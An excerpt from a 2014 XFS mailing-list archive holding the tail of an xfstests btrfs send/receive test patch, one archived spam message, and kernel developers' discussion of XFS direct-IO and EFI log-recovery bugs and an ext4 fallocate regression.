+# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_fssum +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/a/c +mkdir $SCRATCH_MNT/a/b/d +touch $SCRATCH_MNT/a/file1 +touch $SCRATCH_MNT/a/b/file2 +mv $SCRATCH_MNT/a/file1 $SCRATCH_MNT/a/b/d/file3 +ln $SCRATCH_MNT/a/b/d/file3 $SCRATCH_MNT/a/b/file4 +mkdir $SCRATCH_MNT/a/b/f +mv $SCRATCH_MNT/a/b $SCRATCH_MNT/a/c/b2 +touch $SCRATCH_MNT/a/c/b2/d/file5 + +mkdir -p $SCRATCH_MNT/a/x1/x2 +mkdir $SCRATCH_MNT/a/Z +mkdir -p $SCRATCH_MNT/a/x1/x2/x3/x4/x5 + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- c/ (ino 259) +# | |-- b2/ (ino 258) +# | |-- d/ (ino 260) +# | | |-- file3 (ino 261) +# | | |-- file5 (ino 264) +# | | +# | |-- file2 (ino 262) +# | |-- file4 (ino 261) +# | |-- f/ (ino 263) +# | +# |-- x1/ (ino 265) +# | |-- x2/ (ino 266) +# | |-- x3/ (ino 268) +# | |-- x4/ (ino 269) +# | |-- x5/ (ino 270) +# | +# |-- Z/ (ino 267) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +ln $SCRATCH_MNT/a/c/b2/file4 $SCRATCH_MNT/a/c/b2/f/file6 +mv $SCRATCH_MNT/a/c/b2/d/file5 $SCRATCH_MNT/a/c/file7 +touch $SCRATCH_MNT/a/c/b2/d/file8 +touch $SCRATCH_MNT/a/c/b2/file9 +ln $SCRATCH_MNT/a/c/b2/file9 $SCRATCH_MNT/a/c/b2/file10 +mv $SCRATCH_MNT/a/c/b2/f $SCRATCH_MNT/a/f2 +mv $SCRATCH_MNT/a/c $SCRATCH_MNT/a/c2 +mv $SCRATCH_MNT/a/c2/b2 $SCRATCH_MNT/a/f2/b3 +mv $SCRATCH_MNT/a/c2 $SCRATCH_MNT/a/f2/b3/c3 +touch $SCRATCH_MNT/a/f2/b3/c3/file11 +mv $SCRATCH_MNT/a $SCRATCH_MNT/a2 + +mv $SCRATCH_MNT/a2/x1/x2/x3 $SCRATCH_MNT/a2/Z/X33 +mv $SCRATCH_MNT/a2/x1/x2 $SCRATCH_MNT/a2/Z/X33/x4/x5/X22 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a2/ (ino 257) +# | +# |-- f2/ (ino 263) +# | |-- file6 (ino 261) +# | |-- b3/ (ino 258) +# | |-- d/ (ino 260) +# | | |-- file3 (ino 261) +# | | |-- file8 (ino 270) +# | | +# | |-- file2 (ino 262) +# | |-- file4 (ino 261) +# | |-- file9 (ino 271) +# | |-- file10 (ino 271) +# | | +# | |-- c3/ (ino 259) +# | |-- file7 (ino 264) +# | |-- file11 (ino 272) +# | +# |-- x1/ (ino 265) +# |-- Z/ (ino 267) +# |-- X33/ (ino 268) +# |-- x4/ (ino 269) +# |-- x5/ (ino 270) +# |-- X22/ (ino 266) +# + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap + +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/045.out b/tests/btrfs/045.out new file mode 100644 index 0000000..5b0d489 --- /dev/null +++ b/tests/btrfs/045.out @@ -0,0 +1 @@ +QA output created by 045 diff --git a/tests/btrfs/group b/tests/btrfs/group index 4589043..9b41895 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -47,3 +47,4 @@ 042 auto quick 043 auto quick 044 auto quick +045 auto quick -- 1.7.10.4 From friendlyaffiliate.eller87@gmail.com Sun Mar 16 21:30:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID,T_FRT_FREE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 129FE7F80 for ; Sun, 16 Mar 2014 21:30:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 016228F8033 for ; Sun, 16 Mar 2014 19:30:44 -0700 (PDT) X-ASG-Debug-ID: 1395023441-04cb6c56785f26d0001-NocioJ Received: from mail-oa0-f68.google.com (mail-oa0-f68.google.com [209.85.219.68]) by cuda.sgi.com with ESMTP id LePkFM5O93XvfLjd (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Mar 2014 19:30:42 -0700 (PDT) X-Barracuda-Envelope-From: friendlyaffiliate.eller87@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.68 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.68] Received: by mail-oa0-f68.google.com with SMTP id i7so1448893oag.7 for ; Sun, 16 Mar 2014 19:30:41 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.68] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.68] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=3mZfpNtV0CV7KvcuyBwoEGZTVaRIWp2YiIt8rz1t0DU=; b=H7QE66B0voY01FJQ24nUl29rzVJd5ok3f/fO8wGg1Kmr3gLObeUSfuxLdRgSXmukGE Nh9hNyuyuIskeo4TtJLNbTU6rY/oz+/5uQu3TE6/6FBDk57qA4zMFyVGNsZmYMa9NSea fPk3y0iMXHbKjx02KD4xVEakqmQNZSvrSVzHfjzRATCaypTV3QKCM2OGjTWPkj8MUgp4 biwb0QWkk+5cZam6h6kT0fT59YJIxuUfLTk+z68SNI5X18vQmGSCA9vgazllZ6jeZ8Lu CS7o0JX/HuBNbAo6CrvD14ocvOaVfB4hxjaFDzBRF0JA0CB5VdAs5wgCRpkqApRh1X9e S6Tg== MIME-Version: 1.0 X-Received: by 10.60.226.138 with SMTP id rs10mr18197674oec.7.1395016374968; Sun, 16 Mar 2014 17:32:54 -0700 (PDT) Received: by 10.76.69.163 with HTTP; Sun, 16 Mar 2014 17:32:54 -0700 (PDT) Date: Sun, 16 Mar 2014 20:32:54 -0400 Message-ID: Subject: Here Is Your Fr*ee Listbuilding Software I Told You About From: "friendlyaffiliate.eller87" X-ASG-Orig-Subj: Here Is Your Fr*ee Listbuilding Software I Told You About To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a1136b9d47c850004f4c28f5a X-Barracuda-Connect: mail-oa0-f68.google.com[209.85.219.68] X-Barracuda-Start-Time: 1395023441 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC2_SA022a, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3976 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 BSF_SC2_SA022a Custom Rule SA022a --001a1136b9d47c850004f4c28f5a Content-Type: text/plain; charset=ISO-8859-1 What if I told you that I found a brand new method (and fr*ee) that is making memoney and building my emaillist at the same time. Would you be interested? Go here: http://tinyurl.com/kbpognd Just imagine being able to build your list and getting pa*id to build it! You can monetizeyour list building efforts starting today! http://tinyurl.com/kbpognd Enjoy! Tim PS: There is a limited time bonus in step 5 of the software. They will set up everything, for you so you will start building your email listand make money in 24-72 hours. Go here: http://tinyurl.com/kbpognd If you no longer wish to receive emails from me simply reply to this email and put unsubscribe in the subject line --001a1136b9d47c850004f4c28f5a Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
What if I told you that I found a brand new
method (and= fr*ee) that is making memoney
and building my emaillist at the same ti= me.

Would you be interested?

Go here:

http://tinyurl.com/kbpognd

Just imagine being able to build your list and getting pa*id
to buil= d it!

You can monetizeyour list building efforts starting today!
=
http://tinyurl.com/kbpognd
Enjoy!

Tim

PS: There is a limited time bonus in step 5 of the software. They will set up everything,
for you so you will star= t building your email
listand make money in 24-72 hours.

Go here= :

http://tinyurl.com/kbpognd




If you no longer wish to receive emails from me simpl= y reply
to this email and put unsubscribe in the subject line
--001a1136b9d47c850004f4c28f5a-- From david@fromorbit.com Sun Mar 16 21:43:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 26FED7F80 for ; Sun, 16 Mar 2014 21:43:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0D62C8F8035 for ; Sun, 16 Mar 2014 19:43:11 -0700 (PDT) X-ASG-Debug-ID: 1395024188-04cb6c56785f2d60001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ZskJZFOE81GHF6H8 for ; Sun, 16 Mar 2014 19:43:09 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlVTADxgJlN5LMWSPGdsb2JhbABZgwaDRoUMtGqFWoEWFwMBAQEBODWCJQEBAQMBJxMcIxAIAxgJJQ8FJQMHGhOHcQfSNBcWjlIHgySBFASYRZQfgVIp Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Mar 2014 13:13:07 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WPNW6-0002Ve-1c; Mon, 17 Mar 2014 13:43:06 +1100 Date: Mon, 17 Mar 2014 13:43:05 +1100 From: Dave Chinner To: Al Viro Cc: linux-fsdevel@vger.kernel.org, Brian Foster , Dave Chinner , xfs@oss.sgi.com Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140317024305.GD7072@dastard> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140316022105.GQ18016@ZenIV.linux.org.uk> <20140316023931.GR18016@ZenIV.linux.org.uk> <20140316205624.GS18016@ZenIV.linux.org.uk> <20140317013638.GB7072@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140317013638.GB7072@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1395024188 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3976 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 17, 2014 at 12:36:39PM +1100, Dave Chinner wrote: > On Sun, Mar 16, 2014 at 08:56:24PM +0000, Al Viro wrote: > > On Sun, Mar 16, 2014 at 02:39:31AM +0000, Al Viro wrote: > > > > > Hrm... s/unused/not zeroed out/, actually - block size is 4K. So we have > > > an empty file extended by ftruncate(), then mmap+msync+munmap in its tail, > > > then O_DIRECT write starting from a couple of blocks prior to EOF and > > > extending it by ~15 blocks. New EOF is 2.5Kb off the beginning of the > > > (new) last block. Then it's closed. Remaining 1.5Kb of that last > > > block is _not_ zeroed out; moreover, pagefault on that page ends up > > > reading the entire block, the junk in the tail not getting zeroed out > > > in in-core copy either. Interesting... > > > > AFAICS, what happens is that we hit this > > /* > > * If this is O_DIRECT or the mpage code calling tell them how large > > * the mapping is, so that we can avoid repeated get_blocks calls. > > */ > > if (direct || size > (1 << inode->i_blkbits)) { > > xfs_off_t mapping_size; > > > > mapping_size = imap.br_startoff + imap.br_blockcount - iblock; > > mapping_size <<= inode->i_blkbits; > > > > ASSERT(mapping_size > 0); > > if (mapping_size > size) > > mapping_size = size; > > if (mapping_size > LONG_MAX) > > mapping_size = LONG_MAX; > > > > bh_result->b_size = mapping_size; > > } > > and while the caller (do_direct_IO()) is quite happy to skip subsequent calls > > of get_block, buffer_new() is *NOT* set by that one. Fair enough, since the > > _first_ block of that run (the one we'd called __xfs_get_blocks() for) isn't > > new, but dio_zero_block() for the partial block in the end of the area gets > > confused by that. > > It's not obvious from your description what the issue is here. If > i run the obvious reproducer from your description: > > $ xfs_io -fd -c "truncate $((262144 - 1536))" \ > > -c "mmap 0 260k" -c "mwrite 253k 1k" -c msync -c munmap \ > > -c "pwrite -b 32k $((262144 - 8192 - 2560)) 32k" \ > > -c "mmap 276k 4k" -c "mread -v 276k 4k" /mnt/test/blah OK, so there's a precondition required here - it's definitely not an empty file - there has to be an active delayed allocation mapping beyond EOF for this test case to cause trouble. So, here's the precondition: $ rm -rf /mnt/test/blah $ xfs_io -f -c "pwrite 0 32k" /mnt/test/blah $ xfs_io -f -c "pwrite -b 64k 0 240k" /mnt/test/blah The first write sets the I_DIRTY_RELEASE flag on close, then second sees that flag and does not remove the delayed allocation beyond EOF on the second close. So now there's a delalloc extent out to roughly 450k (block 112). Then run the above test case, and the msync causes writeback to occur and hence that turns the entire delalloc extent into allocated blocks - a single extent that extends beyond EOF. > > Looks like __xfs_get_blocks() is broken in that respect - I'm definitely > > seeing O_DIRECT write() crossing the EOF calling it *once*, getting > > ->b_size set to a lot more than what remains until EOF and buffer_head > > not getting BH_New on it. > > XFS should never do that. It does not mix existing block mappings > with newly allocated mappings, and so the newly allocated region > beyond EOF should always give a "xfs_get_blocks_alloc" trace, and > when that is emitted we always set buffer_new().... And so XFS is not mixing extent types, nor is it seeing newly allocated blocks beyond EOF, and so it sees it as a single extent full of valid data.... OK, now I understand where the bad mapping problem is coming from, and why a changing in speculative prealloc size might be seen as the "cause" by a bisect. And it is a pre-existing condition that has been there for years - I'd think that testing with allocsize= would expose it easily on old kernels. Al, you're right that the code that calculates the mapping size needs to split mappings that extend across EOF for direct IO. I'll cook up a patch to fix it after lunch. Thanks for digging in to this and finding what I couldn't. Cheers, Dave. -- Dave Chinner david@fromorbit.com From tytso@thunk.org Sun Mar 16 22:02:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BB4E47F84 for ; Sun, 16 Mar 2014 22:02:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7D6B88F8039 for ; Sun, 16 Mar 2014 20:02:11 -0700 (PDT) X-ASG-Debug-ID: 1395025325-04bdf076f0355df0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id hqPEIPldOzF5mWdg (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Sun, 16 Mar 2014 20:02:06 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WPNoQ-0006jC-SN; Mon, 17 Mar 2014 03:02:03 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 340245802B0; Sun, 16 Mar 2014 23:02:01 -0400 (EDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1395025321; bh=bpUR+OQ5QWFmiQ+cUBxD09knBDCQtDYuqicRUJT/Ig8=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=Hp97N/dp6NMMs01gwZeb232WBXmQfJnZCvRD+CwsE10bGQG+PHNTEOY1H3aJeeeYN Z4c1Gv8ur+OD3uZc8yFbmhqJEpyRbqVqPaLjJM5Fer04Ta7fOacLvmUUi7dFypdaOH EP6MCQ70YvgAPW7zu9GxgQ6jzHnuhSlouUSDcRho= Date: Sun, 16 Mar 2014 23:02:01 -0400 From: tytso@mit.edu To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation Message-ID: <20140317030201.GE14162@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <1393355679-11160-2-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355679-11160-2-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.22 (2013-10-16) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1395025325 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3977 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 25, 2014 at 08:14:34PM +0100, Lukas Czerner wrote: > Currently in ext4_fallocate we would update inode size, c_time and sync > the file with every partial allocation which is entirely unnecessary. It > is true that if the crash happens in the middle of truncate we might end > up with unchanged i size, or c_time which I do not think is really a > problem - it does not mean file system corruption in any way. Note that > xfs is doing things the same way e.g. update all of the mentioned after > the allocation is done. > > This commit moves all the updates after the allocation is done. In > addition we also need to change m_time as not only inode has been change > bot also data regions might have changed (unwritten extents). However > m_time will be only updated when i_size changed. > > Also we do not need to be paranoid about changing the c_time only if the > actual allocation have happened, we can change it even if we try to > allocate only to find out that there are already block allocated. It's > not really a big deal and it will save us some additional complexity. > > Also use ext4_debug, instead of ext4_warning in #ifdef EXT4FS_DEBUG > section. > > Signed-off-by: Lukas Czerner Further testing has shown that this patch (applied on top of the ext4 dev branch) is causing a regression failure of xfstests shared/243. Could you take a look? - Ted From david@fromorbit.com Mon Mar 17 00:29:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF4297F86 for ; Mon, 17 Mar 2014 00:29:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A4D36304032 for ; Sun, 16 Mar 2014 22:29:59 -0700 (PDT) X-ASG-Debug-ID: 1395034196-04bdf05dab632450001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id D2wsZCUAKccx3WAN for ; Sun, 16 Mar 2014 22:29:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlZTAACHJlN5LMWSPGdsb2JhbABZgwaDRoUMtG2FWoEVFwMBAQEBODWCJQEBAQMBJxMcIwULCAMYCSUPBSUDBxoTh3EH0isXFo5SB4MkgRQEmEWVcSk Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Mar 2014 15:59:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WPQ7T-0002p0-MU; Mon, 17 Mar 2014 16:29:51 +1100 Date: Mon, 17 Mar 2014 16:29:51 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: free the EFI entries from AIL on forced shutdown Message-ID: <20140317052951.GE7072@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: free the EFI entries from AIL on forced shutdown References: <20140314163723.916178776@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140314163723.916178776@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1395034196 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3980 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Fri, Mar 14, 2014 at 11:37:01AM -0500, Mark Tinguely wrote: > The extent free intention (EFI) and extent free done (EFD) > log items are in separate transactions. It is possible that > the EFI can be pushed to the AIL before a forced shutdown > where it gets stuck for following reasons: > > No EFD. If freeing the extent fails in xfs_bmap_finish() or > xfs_recover_process_efi(), then the corresponding extent > free done (EFD) entry will not be created. You don't handle the xfs_bmap_finish() case properly - the patch only addresses the case where the EFD was created and contains a reference to the EFI. The only time we can have an EFI in the AIL without an EFD pointing to it is if xfs_trans_reserve() call in xfs_bmap_finish() fails due to a shutdown. That failure case leaks the EFI reference that is supposed to be passed to the EFD... > EFD IOP Abort processing. If xfs_trans_cancel() is called with > an abort flag, or if the xfs_trans_commit() is called when the > file system is in forced shutdown or if the log buffer write fails, > then the EFD iop commands will not remove the EFI from the AIL. Which they should, because after xfs_trans_get_efd(), the EFD owns the reference to the EFI. Hence aborting the EFD should release the EFI reference it owns. > Index: b/fs/xfs/xfs_extfree_item.c > =================================================================== > --- a/fs/xfs/xfs_extfree_item.c > +++ b/fs/xfs/xfs_extfree_item.c > @@ -420,8 +420,15 @@ STATIC void > xfs_efd_item_unlock( > struct xfs_log_item *lip) > { > - if (lip->li_flags & XFS_LI_ABORTED) > + /* > + * Clear the EFI if on AIL when aborting xfs_bmap_finish. > + * The forced shutdown will force the log, so other EFDs > + * should not be processed from the CIL. > + */ > + if (lip->li_flags & XFS_LI_ABORTED) { > + xfs_efi_clear_ail(lip->li_ailp); > xfs_efd_item_free(EFD_ITEM(lip)); > + } > } So, we abort one EFI, so we kill every EFI in the filesystem? We want to be able to cancel and rollback transactions eventually, and this will prevent us from being able to do that as it will kill EFIs unrelated to the EFD being aborted. AFAICT, all this needs to do is: if (!(lip->li_flags & XFS_LI_ABORTED)) return; xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); xfs_efd_item_free(efdp); i.e. before freeing the EFD, release the reference to the EFI that it was passed. > @@ -439,10 +446,15 @@ xfs_efd_item_committed( > struct xfs_efd_log_item *efdp = EFD_ITEM(lip); > > /* > - * If we got a log I/O error, it's always the case that the LR with the > - * EFI got unpinned and freed before the EFD got aborted. > + * If we got a log I/O error and the EFI is also in this buffer, it > + * will be unpinned and freed before the EFD got aborted. But the EFI > + * is in an earlier transaction and could be on the AIL when the log > + * I/O error happened for this EFD. In that case, manually remove the > + * remaining EFIs from the AIL. > */ > - if (!(lip->li_flags & XFS_LI_ABORTED)) > + if (lip->li_flags & XFS_LI_ABORTED) > + xfs_efi_clear_ail(lip->li_ailp); > + else > xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); Same here - we can simply always call xfs_efi_release() and we'll end up doing the right thing w.r.t. the EFi reference count. And if we do the right thing with the EFI reference count when aborting the EFI (i.e. call __xfs_efi_release() rather than freeing it) the aborting of transactions will correctly free all the references to the EFI and remove them from the AIL. The only case we then have to handle specially is the xfs_trans_reserve failure in xfs_bmap_finish(), where we need to release the EFI directly in the error path. That gets rid of the "big hammer" error handling for normal runtime shutdown that xfs_efi_clear_ail(). i.e. we need to fix the reference count handling, not work around it. > Index: b/fs/xfs/xfs_log_recover.c > =================================================================== > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -3634,20 +3634,23 @@ xlog_recover_process_data( > /* > * Process an extent free intent item that was recovered from > * the log. We need to free the extents that it describes. > + * The caller will free all EFI entries on error. > */ > STATIC int > xlog_recover_process_efi( > - xfs_mount_t *mp, > - xfs_efi_log_item_t *efip) > + struct xfs_mount *mp, > + struct xfs_efi_log_item *efip) > { > - xfs_efd_log_item_t *efdp; > - xfs_trans_t *tp; > + struct xfs_efd_log_item *efdp; > + struct xfs_trans *tp; > int i; > int error = 0; > xfs_extent_t *extp; > xfs_fsblock_t startblock_fsb; > > ASSERT(!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)); > + /* All paths need the XFS_EFI_RECOVERED flag set. Do it here. */ > + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > > /* > * First check the validity of the extents described by the > @@ -3662,12 +3665,6 @@ xlog_recover_process_efi( > (extp->ext_len == 0) || > (startblock_fsb >= mp->m_sb.sb_dblocks) || > (extp->ext_len >= mp->m_sb.sb_agblocks)) { > - /* > - * This will pull the EFI from the AIL and > - * free the memory associated with it. > - */ > - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > - xfs_efi_release(efip, efip->efi_format.efi_nextents); > return XFS_ERROR(EIO); > } > } > @@ -3687,7 +3684,6 @@ xlog_recover_process_efi( > extp->ext_len); > } > > - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > error = xfs_trans_commit(tp, 0); > return error; This is basically saying "xfs_efi_release() should drop both the AIL and the EFD reference as we really only only have one reference". I think we should simply remove the XFS_EFI_RECOVERED bit from the reference counting code, and 